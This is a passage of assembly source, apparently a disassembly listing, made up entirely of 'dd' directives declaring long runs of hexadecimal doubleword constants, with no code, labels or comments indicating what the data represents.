		dd 80014B26h, 0E99A83D7h, 69B9EC01h, 0E67322AFh, 68EB9878h
		dd 323A4B6Fh, 642BFA6Fh, 0FC422545h, 0EB206BC6h, 1038A057h
		dd 64C9042Ch, 0C24EDEF7h, 5E04D8B8h, 235E4CBCh,	0B94CED42h
		dd 28C607F5h, 0FA3558E7h, 3FD698BFh, 5C1E8CB1h,	8D1708D2h
		dd 43535EEh, 0A654AFCAh, 2739902Ch, 56D1C821h, 0B2D14A68h
		dd 7A9D23Eh, 127FCDC4h,	2D2E4914h, 161A752h, 0B6A2D5A7h
		dd 2DC951B8h, 0E9E2A556h, 0D3844B51h, 5FEEE27Bh, 2FA74963h
		dd 0C5596607h, 4A9D9775h, 5ABB10D1h, 20A25DACh,	0FA20A352h
		dd 78C0763Bh, 552E2406h, 515680D3h, 360CD368h, 41597C1Ch
		dd 59A8D152h, 20302601h, 0F6CE891Ah, 3E317E1h, 53D8E0ACh
		dd 0B7925CB7h, 12DCBE84h, 0A49613EAh, 0B24B43A3h, 2617D0E3h
		dd 0D6FDBC27h, 898449A6h, 15F3C1E5h, 8BBF0058h,	0E0E35B64h
		dd 290070E4h, 26350ED2h, 3078EB22h, 558336E9h, 3D16C068h
		dd 0A5093CD6h, 379A7544h, 0B8420D74h, 0E2C3A7B9h, 59613372h
		dd 0D77227A1h, 243CD534h, 0ADC5B1ECh, 78F6E28Bh, 0C8BFF9FCh
		dd 1FC4E157h, 91DBF1Eh,	965DD3E0h, 0AE64A063h, 1F399964h
		dd 2D228505h, 0D82380D4h, 6C3B2C7Dh, 0ED517801h, 92882E08h
		dd 0B46BA62h, 52D4613Dh, 5AFE9A02h, 462F0245h, 0B76A77CCh
		dd 86D62FA2h, 86F0009h,	90D386Dh, 1B686919h, 507B280h
		dd 361C9044h, 0B32CE934h, 2DBB0197h, 8C167E30h,	167A04C8h
		dd 0EBDE0BECh, 7E9CFF0Bh, 0E2D39727h, 0A33F1271h, 0E6D699FAh
		dd 94972C78h, 0BBF56E5Dh, 0C0AA0114h, 6A94C5Ch,	8B4621Bh
		dd 5A019582h, 21F0AA55h, 64FB837Ah, 0D880217Bh,	0AD08C6FEh
		dd 17202048h, 491363F2h, 18100916h, 1E188DB9h, 0BD101066h
		dd 80475D80h, 41806FDEh, 8839815Ch, 0C564481h, 3C104AD5h
		dd 63D34F40h, 0C66C088Eh, 24281810h, 10F89118h,	0A3813640h
		dd 0EE0B498Ch, 73414208h, 110192C1h, 2D28885Fh,	7E0708F4h
		dd 1CB32908h, 9F2031D6h, 78E9016Bh, 0D0EB1088h,	8E8540Ch
		dd 187D66E3h, 0D420F95Ah, 80E57C18h, 9A813F48h,	911AE98Ch
		dd 0E4406308h, 0DDB041B2h, 1C288C37h, 0DEF80869h, 858D851h
		dd 18C6462Ah, 88613DE7h, 804B92A8h, 31D1D36Ch, 0DF657F8Ch
		dd 0D91FC308h, 86F340Ch, 7D79C476h, 0D6F8068Bh,	57DB2008h
		dd 2098AE20h, 2424CC8Ah, 0F798044Ch, 8154CB10h,	308051C0h
		dd 10090310h, 10BC20E1h, 6010E23Ah, 630210A5h, 108CEF18h
		dd 8CC7834h, 88368146h,	28C95E4Fh, 623C2332h, 3D081550h
		dd 5E20E8E3h, 20D4DF20h, 943288C5h, 26D696Ch, 9003D8C8h
		dd 2B10186Ah, 3A44084Ah, 0DF864580h, 1815D020h,	0FC1089C5h
		dd 5208C454h, 0ADBA04EEh, 283B3C06h, 31AF0D20h,	9B10421Ah
		dd 49088C26h, 66ED188Fh, 21E008F0h, 10F69731h, 89EDA5Eh
		dd 172060DCh, 56B120C8h, 15A45949h, 318085CAh, 0BBDD18E0h
		dd 0E6640888h, 2039B50Ch, 3D79404Ah, 40BE6E40h,	14089F4h
		dd 0D6734035h, 25101462h, 385102D3h, 0CC3680Fh,	0C51840Eh
		dd 857308C4h, 0FAE9492h, 590C6908h, 40EE0840h, 0B9C47B83h
		dd 6F045CE2h, 0EA9D0490h, 93576A04h, 2920B9F8h,	59C13128h
		dd 8C5C7610h, 185DF008h, 99916468h, 0B83E047Fh,	55B24D2h
		dd 23D84CE0h, 0D040E2F1h, 20289A2Bh, 556236F9h,	4FAE329h
		dd 1CDC91ABh, 0C25192CCh, 3E842448h, 0BF2211E2h, 0C4449105h
		dd 0D00C0D75h, 2D400FC1h, 609040ADh, 0E8FC9C13h, 0C1AAA424h
		dd 8F4653C0h, 1CC78B1Eh, 10436B8Ch, 6F475C3Bh, 13EB0206h
		dd 0B9370E89h, 5A03DA7h, 18F4401h, 0C90B4940h, 618BF775h
		dd 0DEA0C7B4h, 0FE97F003h, 0C0338F7Bh, 4FB10F01h, 612CAC30h
		dd 0C5686682h, 0EE63720Bh, 31614F1Fh, 8BE01ABEh, 0FF015B10h
		dd 65066F80h, 7A9F3231h, 3C5C2679h, 63F92742h, 9FA4E1A7h
		dd 15B93A81h, 602E1D55h, 0D121B90h, 0C4AE177Eh,	58080C5Dh
		dd 8FE0F90Eh, 0FA0C3260h, 0B50C095Eh, 4DC5C08Fh, 0AD3AF498h
		dd 69763078h, 4E61F100h, 7DE9D35Eh, 3122CB76h, 0F8300358h
		dd 34AB35Fh, 0A9FE9775h, 7196C16Eh, 0C81450Bh, 6C7F366Eh
		dd 34C37E51h, 0D9A359h,	0F6A78F60h, 6E682D89h, 0FA7E2032h
		dd 7D078905h, 0BD9E16h,	8E058B8Ah, 6BA3B84Ah, 0C77E189Dh
		dd 0A464777Ah, 5B184922h, 9629E334h, 2D77705h, 52BBD361h
		dd 3EAC000h, 2F4321F1h,	781768Ch, 0D6661EBh, 7C7CF770h
		dd 3100681Eh, 5B0C724Ch, 0F7FE381h, 0E929BF7Bh,	0E261140Ch
		dd 0E5B28EEh, 68F033ACh, 382726Fh, 830145AEh, 0C1349D59h
		dd 0CD4F47B3h, 56827A6Eh
		dd 0AD4EF1F9h, 700565Ah, 0C168AC56h, 28F706EBh,	4EA343D3h
		dd 5704371h, 7618C73Ch,	8FCFC81Dh, 198BC463h, 0C45B0E22h
		dd 8EEEEA6Fh, 0C7F24EB4h, 7486463Eh, 0ABBD555Eh, 0A8EDEEC0h
		dd 0B75C291Ch, 9C56F85h, 0DF748708h, 3230A982h,	27F1DE2Fh
		dd 50029FF0h, 3C9F44B8h, 28F2409Dh, 42590615h, 5C3827E9h
		dd 0CFCA883Ch, 0B2D2D913h, 0E5B0FFE4h, 53F802E3h, 6BEF4EC0h
		dd 27E973DAh, 0DA98CC46h, 6A013D8Ah, 0FD6E2D5Bh, 0B03E337Ah
		dd 9801390Ah, 0E9C2016Dh, 5DD6489Eh, 96C8C05Bh,	62B1F113h
		dd 544E657Fh, 0E9E07471h, 154269Ch, 581E0897h, 0A5F91D66h
		dd 9F23CE29h, 0E21E8FADh, 84E4DF2Fh, 0D8B428C4h, 0EE8BD2ACh
		dd 0F23FEF7Dh, 9AE4D3C4h, 33B634E9h, 1916BB9Eh,	500C38EFh
		dd 0FEB9ADC0h, 0F1680A06h, 8FE092Ah, 42E1A0F5h,	295C4130h
		dd 484576Ch, 12B635E9h,	33C7321Eh, 76B42EA6h, 0EFFCECF1h
		dd 67382565h, 76306B7Ch, 4A522D7Eh, 3CAAE124h, 0BA072B1h
		dd 0C1B65558h, 0A10DF69h, 681D46E2h, 32B40120h,	0DF5D080Ah
		dd 41CE5149h, 5E63EE9h,	8A6E06FEh, 0EC6FFF9h, 2CDDE3F3h
		dd 940B4F6h, 8A84462Bh,	6AE28902h, 9CFB12F5h, 5B0D7B8h
		dd 0E32C4012h, 0DC280E79h, 374A3C01h, 1170E94Eh, 0DDC36182h
		dd 9D41528Eh, 0B4E320D8h, 0F76EFD82h, 1742730Bh, 2702577Ah
		dd 0F1A0D0Ah, 0F62F4EB1h, 0F256F300h, 4FE9D67Dh, 4F26F469h
		dd 0F82F1A97h, 25F691F2h, 0A80CC5F0h, 0C6B3516h, 0E026023Fh
		dd 1E77E9B6h, 7AA8114Ah, 60B003C0h, 0C00745Dh, 70C86596h
		dd 197EDB9h, 0D129994Ch, 3F7417E9h, 0CD50D1B3h,	9174950Fh
		dd 4CD3E953h, 2DBB84C3h, 0ACAE0435h, 0BE56B060h, 0AB701FCEh
		dd 78893A54h, 868C4363h, 124110F8h, 0BF50D1DCh,	0CC9DF514h
		dd 688A882Eh, 28224F23h, 9E955BDFh, 59E916B5h, 0B45C74D5h
		dd 25523EC3h, 1E34265h,	61842231h, 49A46DE9h, 58DE00AAh
		dd 0EDC130A1h, 3C2960F7h, 545E319Fh, 2F178432h,	1539EFCBh
		dd 18D213Ah, 0BB27D19h,	0A420A84h, 7D4F7EB3h, 0A196358Ch
		dd 375C97FBh, 88D9004Fh, 4958E931h, 0B171E6Ah, 0C0988C7Ah
		dd 86E8DA5Bh, 4CCABBA4h, 0F37C1301h, 0D691684Fh, 905621A7h
		dd 6B1D70DDh, 8E61F0AAh, 31632A6h, 283E4E72h, 5FF0E155h
		dd 74B78789h, 44DD611Ah, 65E8518Eh, 4A05012Eh, 7F2B1B09h
		dd 6D6709CBh, 42082AEBh, 9D08D62Ch, 0BD41B60Ah,	3FE268C1h
		dd 0FABC6B56h, 6EF99D5Dh, 0AF045EE5h, 500D47Eh,	73D19E1h
		dd 0E42C68F6h, 99C06113h, 9D32521Ch, 0C38FF880h, 0F3FED7C4h
		dd 56B3E91Ch, 4B554938h, 0E9C3E6B3h, 0A5E870Bh,	16AEF6C5h
		dd 6EB1E1A5h, 0ADD330B6h, 0AE98346h, 0A7EA8458h, 0CAE98314h
		dd 0B8160292h, 3BA5592Bh, 13E8AC0h, 12C0D3BFh, 588C4012h
		dd 4D56C281h, 0F18C3550h, 0C07F6641h, 252548Bh,	0F7FA870Ah
		dd 2118CADFh, 7235BB1Eh, 302C7A12h, 615E42B2h, 684C50C3h
		dd 252809C3h, 0C8D38E58h, 0BB3117BDh, 0BB40A06h, 80B8042Eh
		dd 0BB349258h, 0FF17CC1Eh, 0EE81E8ADh, 70934574h, 9F6C249Ch
		dd 3D0F0C97h, 33957E12h, 0C11F81C2h, 4D3C4D02h,	7E56E027h
		dd 0B564F53Dh, 0AF08336h, 0F652FA55h, 0F3DF4F20h, 596C04A4h
		dd 680A46DEh, 41EB0106h, 3F790Bh, 0B5B62AC7h, 0D5E9AC87h
		dd 0C5EC4E8Bh, 0FE2298E5h, 54F3F8Ah, 0FF431B8Dh, 63141FCBh
		dd 0BC5D8614h, 8B875BC7h, 684E31FDh, 6A267EEDh,	0A484A492h
		dd 9F597A4Ch, 3CE74F86h, 0ACE84B86h, 0E9843E73h, 4112429Bh
		dd 0F66E4790h, 9ADA188Dh, 1EEB2D12h, 89DCCD48h,	97DBADF5h
		dd 1C28E0AFh, 55393066h, 0EF433D0Eh, 95B1704Fh,	181A2FDCh
		dd 10DBF736h, 0CC4A44E9h, 0B1B84FC0h, 68BF0B7Ch, 7B330416h
		dd 25CC863Dh, 0EDA261E5h, 0C5EA0744h, 12A78B13h, 41AD4568h
		dd 20953F17h, 56728E90h, 88474A26h, 9DE9A917h, 0BD745ACBh
		dd 827F5E51h, 0C4D70197h, 67743015h, 0D2A3C6FDh, 0C0E0762Dh
		dd 9ABBF503h, 0EC5F4E29h, 0B2F85F3Fh, 2C8E05D2h, 1699EE93h
		dd 0D3B8B3Fh, 0A1DD52E9h, 90D19401h, 26FE37BFh,	43BCC622h
		dd 0DE7B7B02h, 6A04A832h, 320FF558h, 12282626h,	5EF13116h
		dd 97560AB0h, 4062B163h, 0B12F224h, 867A80FCh, 73DEC27Fh
		dd 28F1683Bh, 6A8E2008h, 1306591h, 777A13A8h, 2F853A29h
		dd 0BC0364BFh, 0BB91F1F6h, 9B045122h, 0A871A61Ch, 0F50D5069h
		dd 9263B009h, 0BE82DF29h, 0D50B4C43h, 132D7680h, 49003A6Ah
		dd 0B44E800Dh, 5354072h, 0FC058552h, 1905FA89h,	8E563D8Ch
		dd 63126021h, 0F6CFFE00h, 8BE0D75Bh, 0B327863Ch, 831F589Dh
		dd 0AF539DEDh, 6812A0ACh, 4C935F0Ch, 430ACFDBh,	9EA0F776h
		dd 0D92E6EB1h, 3117C541h, 81DE6A4Bh, 0AC15FA79h, 12E65720h
		dd 1629196Ch, 27931928h, 314082DAh, 753F1852h, 0CE0761C4h
		dd 13E2197Fh, 5BFEF660h, 0B1935EEFh, 0CCC06E03h, 2D8DC472h
		dd 0ECFB52A1h, 5A1BCC01h, 932B310Fh, 44415EA7h,	3096F90Ch
		dd 0D411F7Fh, 2A310B7Ah, 0EA9EC774h, 0A677427h,	258118A2h
		dd 0FF62407Eh, 0AC12F730h, 39EF2E82h, 5921D509h, 2002DFC9h
		dd 6A4A1E62h, 0EC96E2F3h, 0E9CEC15Dh, 0E424428Fh, 82374475h
		dd 0BE593F40h, 0F08142B8h, 1E8059CAh, 62FD0328h, 0A9B85002h
		dd 622E5D59h, 170082C5h, 261255F9h, 60A09A7Dh, 80776B49h
		dd 1498D3F7h, 7B18716h,	0E5FB440Fh, 49AA72D7h, 0DFC20317h
		dd 0E9D698F5h, 9E91555Eh, 7FDB2D7Ah, 0BDE96F8Ch, 2EE14970h
		dd 8992378Ah, 6AE07E9Ah, 0B93A25E9h, 77658874h,	0D9ECED95h
		dd 519843D2h, 3696F541h, 73C0B87Ch, 0F318A0C3h,	522E9C38h
		dd 419B8080h, 0E91B16C2h, 59BFCCFh, 0F230378Eh,	0E005EE71h
		dd 3B5E46C0h, 0DF8F8A09h, 0E3F8BC14h, 1078136Ch, 0AA749787h
		dd 65C8E9D8h, 0FBFBED57h, 1FE30F2Ch, 709B0F88h,	4133780Ch
		dd 79FC7350h, 38681914h, 4DF0499h, 0BEA0BFBh, 5A804290h
		dd 75602844h, 41099390h, 0D637516Eh, 0EB0901D6h, 2EC3835Dh
		dd 6D81E20Ch, 2EF109F3h, 0A0F77FA2h, 7EAAC506h,	0C036038h
		dd 3F6EF94Fh, 0DD890BBDh, 0DE95DE16h, 0F5B1423Ch, 5A25906h
		dd 65963958h, 0BB8DC056h, 0B7B4049h, 7B70D0Ah, 231EB1C3h
		dd 4CFAB760h, 9E2D55FAh, 9547C66Eh, 816AE4D3h, 2B5C4601h
		dd 72F4833h, 1E20DB1h, 0E0D1676Ch, 0AD0B7535h, 0DE2933FEh
		dd 4E7FC91Dh, 0BFBD0098h, 0E9286210h, 0C7B7FB0Ah, 7AE962D3h
		dd 2ABB5DC8h, 69783216h, 502C5B01h, 0A12E16D9h,	4B716168h
		dd 51BD0449h, 4FC7C379h, 0F0630306h, 9200F43h, 0ACD7295Eh
		dd 220FB039h, 0ED4E5A6Bh, 2FCE0279h, 0E21D9D5Dh, 0D8044BF2h
		dd 2C22ACEAh, 282C1ED8h, 90088424h, 0C10B2E82h,	823867D2h
		dd 71F013D7h, 76900782h, 9822B10h, 0B5C575A2h, 0E15F3012h
		dd 13C0910h, 8FC76077h,	7668D2F7h, 0F11366BDh, 6C5479E9h
		dd 40A125B4h, 1AEC40EEh, 487CC592h, 6CFBC26h, 52B4CCh
		dd 41B072B6h, 885AF030h, 0CA58C139h, 92CC5CBDh,	3205BD3Dh
		dd 957DC45h, 7DC534C1h,	0E712F206h, 2041964h, 0CD425184h
		dd 99604559h, 923FE622h, 4075A78Dh, 9FF734AFh, 2106C3E0h
		dd 0F1308EA0h, 0A05C73EEh, 40028832h, 0B04D3CC7h, 12E9604Eh
		dd 362D0841h, 0D945EB3Ah, 6043E83h, 0D1E0285Bh,	2D5A7D59h
		dd 0DDA29B1h, 4457B882h, 96B6813Ah, 8F2D1839h, 8A6CB8F6h
		dd 3A5817AFh, 0ABD70D0Fh
		dd 4CD1630Dh, 0EF816F8h, 17CB593Ch, 0FC0632E9h,	20F4906Ch
		dd 0DC797C4h, 5AE07CAFh, 4E1E7157h, 47915A2Ah, 3E42611Eh
		dd 3C57C559h, 6D1DA1C9h, 70BF84C3h, 455468CBh, 0DC64069Eh
		dd 0EAB4B9B0h, 0BDF47A80h, 0F6E4EBE1h, 0F0E8585Fh, 0C50B9D06h
		dd 0DF4F8F0Eh, 0E94AF743h, 0FB3B10F3h, 0D27490C7h, 0B685906h
		dd 0D20B94Eh, 105B5806h, 0AB793D27h, 1733C6CFh,	0DFF7308Ah
		dd 5B7720FBh, 0AAE20CC1h, 0B930A422h, 47620441h, 0FCFD0146h
		dd 2F0941E9h, 6208E0A4h, 0F2F97D07h, 0F0DDAB49h, 0C180E7F5h
		dd 2D04B7E2h, 0C68902FEh, 48E3FD58h, 563CB16h, 68A92DBAh
		dd 0F0A65A38h, 0DF0FF504h, 3480AEB8h, 5B986B19h, 73E9AC43h
		dd 115AE84Ch, 0C20951E1h, 25F010F6h, 2C1706ECh,	69B144FFh
		dd 0C088DCAh, 0D55D1402h, 6884A147h, 14D80D74h,	0EF5F535Eh
		dd 0A43DEE78h, 664B3110h, 1B851CDh, 9CDDEF29h, 0B00E4BFBh
		dd 0C10E81FDh, 4080200Dh, 65E9CA29h, 2D015F1Fh,	0F68BAD91h
		dd 0E95760B8h, 0DBBA2C37h, 0E46E4826h, 5448806Bh, 9F01C1E9h
		dd 9F8FADDBh, 0BB87709h, 0C35550C7h, 9F636216h,	7D97ED8Ch
		dd 0CE534C0Eh, 36114318h, 42641868h, 11D2FA4Bh,	97D8D45Fh
		dd 31414BF9h, 0D798E2F0h, 279DAAC6h, 0B70B24Fh,	63956AE3h
		dd 0D94E4EF0h, 7C107FF3h, 0B70F0912h, 8D0D56C0h, 2B5A08DCh
		dd 910008E1h, 7E6F2D16h, 75D4B32h, 92293589h, 0B2C55E0Fh
		dd 3102B62Ch, 0D722AD10h, 34E78460h, 8005A027h,	0F8E9D7ACh
		dd 3ED39DFBh, 314195BDh, 93F92E97h, 2A505A5Ah, 0FDD2AA6h
		dd 0C5509E7h, 0C001EF12h, 1E8F0B84h, 0F47E0C83h, 0EDE0B764h
		dd 5C504A2Eh, 0D0B0FDC5h, 6231970Fh, 0EEE9C01Fh, 0C10BDE0Fh
		dd 0BB407B0Ch, 0C0F1F122h, 0F97B94ABh, 56AF112Ah, 0FD496FF0h
		dd 5DE81800h, 25066050h, 6EF00E31h, 43907D4h, 63E02A74h
		dd 68CE02ABh, 25608BCh,	794C2E62h, 1BB1EA71h, 8612F93Dh
		dd 0B8204A58h, 4AB80748h, 0E99BC8B0h, 0D121853Ah, 2264FC2Eh
		dd 0A006122Dh, 5F0DE2F3h, 44292D09h, 0C687B76h,	0C6535809h
		dd 0C8BE0468h, 820A4861h, 0FB75B9F7h, 0B055A59Bh, 60BEE914h
		dd 0B8E627F9h, 225A553h, 0A0CF4468h, 5C4A753Ah,	666DCDBCh
		dd 5E0A12F4h, 6A7051C0h, 89116912h, 11837413h, 6802DC2Ch
		dd 90A2416Eh, 0EC5DF7BCh, 84F64AE9h, 898AB1Eh, 5A507E5Dh
		dd 2DE50091h, 31F2543Bh, 70A0897h, 0FE31D020h, 0A7485D15h
		dd 0AC0BAE04h, 0F5478605h, 55680EF7h, 0BFB22970h, 971347CAh
		dd 0BA50307Ch, 170B3CA9h, 91D13159h, 0A8AD2173h, 3D5FE866h
		dd 10BAB113h, 0E01C0BE1h, 3EF5251Fh, 9D390D9h, 23DA7555h
		dd 5A26CC7Dh, 671113FEh, 60CBB2C7h, 954F18EBh, 0A0E713E2h
		dd 25452DEBh, 0A5E95F0Bh, 1EA9D7FAh, 0E02E3E84h, 0C72DFE58h
		dd 166B5150h, 0F33A7256h, 0D796D529h, 7F1C9330h, 2D2EFAF5h
		dd 0CE5413ACh, 303B8F02h, 5007B0Bh, 0FAAD09B7h,	68160980h
		dd 0E9300945h, 5111534Ch, 11DDF018h, 81B622F6h,	703DF225h
		dd 5F19547h, 0F5425FCDh, 0C1DAFA5Bh, 5F6D8F62h,	0F6EE2008h
		dd 794F7EF2h, 0FB2782BCh, 71BF63F8h, 0A7C96A4Fh, 975609FEh
		dd 0F9A0D546h, 96880133h, 6B2A2D48h, 8A0CD7Eh, 0B6095E4Ah
		dd 5FC5E22Ch, 0E3204CECh, 2C78BFEEh, 19F8804Ch,	880BD1F6h
		dd 407EEE70h, 0ADFE562Bh, 800529B2h, 586614C3h,	53A2FFB8h
		dd 7B463BE1h, 0A12F8C9Dh, 3DCDE127h, 0D9EE0316h, 1E62050Ah
		dd 5651F5F6h, 41FEE94Dh, 141CA108h, 0A7703502h,	7B517D64h
		dd 823BFDA5h, 0F832B018h, 1B800DE0h, 28670E37h,	0CE6933E9h
		dd 0BCF8C489h, 502E6439h, 7782A5E8h, 2D03348Ah,	74ECDDDCh
		dd 7568FC51h, 0E1CEF359h, 0D724E96Bh, 32BAFA52h, 0D13E06C6h
		dd 52D3541h, 78138D00h,	7D294EDCh, 2E8330D3h, 9E685336h
		dd 7D69060Bh, 5720D75Bh, 82135A0h, 3099E915h, 0DE4E7699h
		dd 0F2AE0284h, 0EB2293F2h, 0A2E95D31h, 6B607F73h, 90BE3A33h
		dd 0CAE63575h, 4680AED3h, 0BD02CE68h, 554C074Ch, 7BA7A0F8h
		dd 0E9184B36h, 150D732Fh, 0B247F202h, 0F50991D7h, 20E8D5FEh
		dd 343F0D2Dh, 22E5806Ch, 51680A07h, 0E1314BE9h,	0F8F27E95h
		dd 5631BF96h, 8C2AFF54h, 86B27C0Eh, 5769DE94h, 49867E6h
		dd 0A1570720h, 0F1DE0F36h, 8449161Bh, 416A371Fh, 2C6D3A4Bh
		dd 0CC0C2577h, 0F81988Ch, 34F2F08h, 0E31601CFh,	0E90C40BDh
		dd 6B9F4D31h, 0CB6B5DEBh, 0E9B76166h, 0FA231076h, 6BBF680Bh
		dd 5989D2F9h, 0D929A4D4h, 0A1A23C0h, 24357D2Eh,	80183816h
		dd 2B411B7h, 0C770EC80h, 0ED2DFC7Fh, 4E4B1843h,	0EE014E15h
		dd 6096729h, 0D22E9142h, 5D242F53h, 43503CD6h, 0C3E6BFAFh
		dd 0CB41B2F2h, 3A82FC2Fh, 0A7EE3A80h, 0CEC7CDCh, 5B0C30D3h
		dd 0B56E925h, 149EF75Dh, 0A5057397h, 54C5B855h,	3249B5Bh
		dd 0AB62E955h, 0C1213E09h, 3DDC7458h, 20F5AE96h, 1C517F1Ch
		dd 0CF012DB0h, 9EE276Eh, 0B02AE7C1h, 102C2484h,	47622B31h
		dd 8560Dh, 53AF23C4h, 9198E0C1h, 90C97F2Dh, 2C64DD05h
		dd 10F776D2h, 4CB94BA6h, 8F066E00h, 0F7CD8103h,	2CD66118h
		dd 456E60Ch, 0EDC16908h, 0F5858002h, 7A01DF7Dh,	189FBB53h
		dd 0F306A31h, 0E7A83ABDh, 1A3DA85Fh, 5F798511h,	0C3E02D44h
		dd 42B45013h, 55494004h, 0B8F672E4h, 0D2015343h, 88FD4A70h
		dd 384112C6h, 0C8E5C902h, 3F6CB6BBh, 0CC9AF520h, 0F9C4FE25h
		dd 1D70CB0Bh, 0F135D05Bh, 0E95CCC3Ah, 8CA5F2Ch,	83A85744h
		dd 0C181C45Eh, 9436EFEAh, 7A1CB34Ch, 14053735h,	0F566F582h
		dd 0E902B245h, 5D010F81h, 38E445D9h, 0C78A8B94h, 160FF4Eh
		dd 0C4FBB151h, 0EA0A8F88h, 0E64ED1DFh, 39E90AF1h, 0EB818431h
		dd 57375020h, 5DEC807Fh, 0B0830392h, 0C160B67Fh, 62FE718h
		dd 11853034h, 0B401480Fh, 8453222Dh, 8C887718h,	425B1F07h
		dd 12401CF9h, 30B86177h, 92E5F33Fh, 0DD9767A3h,	8AA240F2h
		dd 3A12962Eh, 7A00D0F7h, 0EFD73CFh, 69C2AE9h, 0B8095EB9h
		dd 0BFA0D292h, 0F8664FBCh, 825CC478h, 7EC15FD2h, 94702DAh
		dd 8D4D9B7h, 386DC02Fh,	0E7677EE3h, 36DB5DABh, 1025E27Eh
		dd 4AE08219h, 0F038E696h, 68F1A88Ah, 48362EBDh,	0F82D011Eh
		dd 0D44FA97Dh, 0EC4E2ABFh, 0FCCD64C1h, 0F9E28204h, 0EB059F7Ah
		dd 4CD9689Fh, 27A1BE00h, 0D89599Ah, 0F215E9DEh,	3D5E6226h
		dd 1AD524CAh, 2D354880h, 9E743E39h, 34F7197Bh, 4F6C7C5Dh
		dd 97B2262Ch, 0A5C74425h, 6DC93BFDh, 3AA22361h,	2E926918h
		dd 0B8C0B70Ch, 6793EB70h, 58D74763h, 440E74E1h,	0E762FCBh
		dd 0FA124651h, 247F688Bh, 4069C263h, 42F83190h,	378460B5h
		dd 0EA657C62h, 6EBF16F3h, 5B67BCEDh, 4CE1A9ECh,	0CADD8235h
		dd 0F734268Eh, 54EF8D83h, 0A3DD72AAh, 4EF1C5CFh, 8E3CFE70h
		dd 931D6061h, 0FA291CC1h, 8249753Bh, 7D413CE1h,	0A4DBC118h
		dd 90A3BA04h, 9721FB96h, 0AA160E73h, 0D8B95100h, 0BD3BAE2Eh
		dd 0B10BD3DCh, 0F0142AE3h, 0A1E211F3h, 7E8EE33Ah, 0CBC14A0Fh
		dd 0E2552227h, 0EB1CA0DFh, 5BFBF534h, 6129FCF2h, 615D6834h
		dd 298DAE50h, 0EC449F01h, 185A4627h, 0BC9753C4h, 25A6EA2Fh
		dd 311B16D5h, 3E593682h, 6DF26AFBh, 1A711A89h, 0F70E9402h
		dd 6498E03Ch, 4B3E090Dh, 0EBE284E9h, 6603AFE5h,	0A50323BAh
		dd 5EE6E007h, 43BB4A97h, 0F21609F0h, 0C7D5B26h,	7DA211A8h
		dd 0D631182Ch, 55EE125Ah
		dd 4E91A09h, 2DF9147h, 50A830B0h, 8B50AC0Dh, 2735789Bh
		dd 4BC4AE1Eh, 0ADE90803h, 0E1971682h, 0E2E96752h, 72F273D4h
		dd 9C34EA0Fh, 0AA0C6B3Eh, 0C00B4249h, 6F4F2269h, 6F965C24h
		dd 1DD236C6h, 0B242F860h, 9F6D415Dh, 88E95E90h,	0D725D494h
		dd 2CF1B23Bh, 7F1CA99Ch, 0E2E0F7C9h, 0FC0508E2h, 0D89AE96Ah
		dd 0F85F24BFh, 583804D6h, 0D7AF36C3h, 0E95EC0CEh, 0A0B53F7Ah
		dd 903ECE22h, 0C0369C4Ah, 52D877B0h, 73533148h,	4D5BE971h
		dd 3BB86080h, 96E2547h,	7FC24848h, 503ECF2Fh, 61C00903h
		dd 29055531h, 5AD8FE38h, 39AB26FEh, 0D8E32576h,	5809DDE2h
		dd 0E95D5E48h, 20E4CB4Dh, 3B61BAE8h, 0B03E5EC5h, 0EA5FD1E9h
		dd 17ABD6F0h, 0ACF7453Ah, 0D88914F2h, 7BBF75BCh, 0FF2DA081h
		dd 0F849B5E5h, 2A93B082h, 91600F77h, 9A6A5164h,	0A90269BCh
		dd 0F53BE17Bh, 0E1009242h, 0CC956333h, 0B65C44B7h, 6B970271h
		dd 60D02BA2h, 19FE712Ch, 40AB6C2h, 67B6EB46h, 0D9387201h
		dd 3CE0E965h, 0CEB24BA6h, 4FA870DCh, 0D1E2716Ah, 0E91AEF78h
		dd 2285E2Bh, 365EBE9h, 54E9CE31h, 0F4A8541Eh, 1314F989h
		dd 12084910h, 0C8A0233Ah, 0EDC44A50h, 5249A54Dh, 0C26BF463h
		dd 247C26A9h, 6E13D58Eh, 1BEAC064h, 2F978BE7h, 46E5D101h
		dd 0AF424113h, 61439856h, 8F248A1Eh, 516597CDh,	76F48E89h
		dd 0F79141F2h, 7163CED1h, 572A8CBCh, 5E5C6804h,	0C0FE7E6Eh
		dd 2920C9DFh, 0F7EE47ECh, 1C2E030Bh, 3D03751Fh,	34C04EBAh
		dd 0C24F3141h, 0E9A073A8h, 88A9BCD1h, 1F04A653h, 0D71B0925h
		dd 0CE0EE165h, 2C3610A4h, 0E2F04F15h, 0EEBD114Bh, 3F30492h
		dd 52530131h, 63315B68h, 22AD121h, 12B12C63h, 2C2E8CDDh
		dd 829E9E4Eh, 5B213384h, 0C8F5E3F5h, 3272E9CDh,	0B7A20AF4h
		dd 62C662F0h, 2A93B3C5h, 2415E2Dh, 0F16ACDB9h, 0A5814976h
		dd 6A444FE9h, 12B8D320h, 22962F1Fh, 53026BD8h, 9A317DBBh
		dd 4EA06040h, 0EC087966h, 30AAB8F3h, 480C17AEh,	0C64FF8BEh
		dd 4E581DE0h, 4FB7A387h, 0DC109A8Bh, 3BBA3E9Bh,	2402A418h
		dd 34099126h, 86497479h, 54278CDDh, 7E1EEB20h, 0FB5BB701h
		dd 0FF435BACh, 0DF5F1D6Ch, 2F69FCE5h, 0D4A78259h, 4F723FDh
		dd 0F2676168h, 2831782Dh, 0BEA64951h, 98886D74h, 0C3801CA8h
		dd 50EB0593h, 0E408C1B4h, 562393BDh, 5096DEBAh,	0DB5E05D2h
		dd 2092AE31h, 0FE9EF922h, 0CC7BE615h, 0E8C1D61Dh, 4CC60590h
		dd 0C018CD51h, 0AA291D27h, 3025DF90h, 60577674h, 66220272h
		dd 3D4A0BFAh, 5B89E5B2h, 0DAD3B238h, 52B1A691h,	139D484Bh
		dd 2291C9E7h, 97BD0EFBh, 32572387h, 7AC7B309h, 0EF1CCA6Ch
		dd 7E6805C0h, 98CBAB1Dh, 249FBC4Ah, 589390A5h, 9DBB5D84h
		dd 7AE8827Ch, 753CC278h, 0EF749350h, 0E9F42225h, 846C7A8h
		dd 5917810Ch, 12839131h, 314804A9h, 47E9F888h, 3E85F4Fh
		dd 55C7139Eh, 0F7782930h, 0E828597Dh, 2F136F8Dh, 2AFA7DA6h
		dd 0ACA45B4Fh, 9132C2E1h, 0D609010Ch, 31E8D23Ch, 5ED68416h
		dd 38673EDDh, 30050527h, 55834F5Dh, 0D423749h, 0DE8BC0D5h
		dd 7D3E0044h, 0F64B6AB9h, 6972998h, 2745B4C7h, 53FCE45Eh
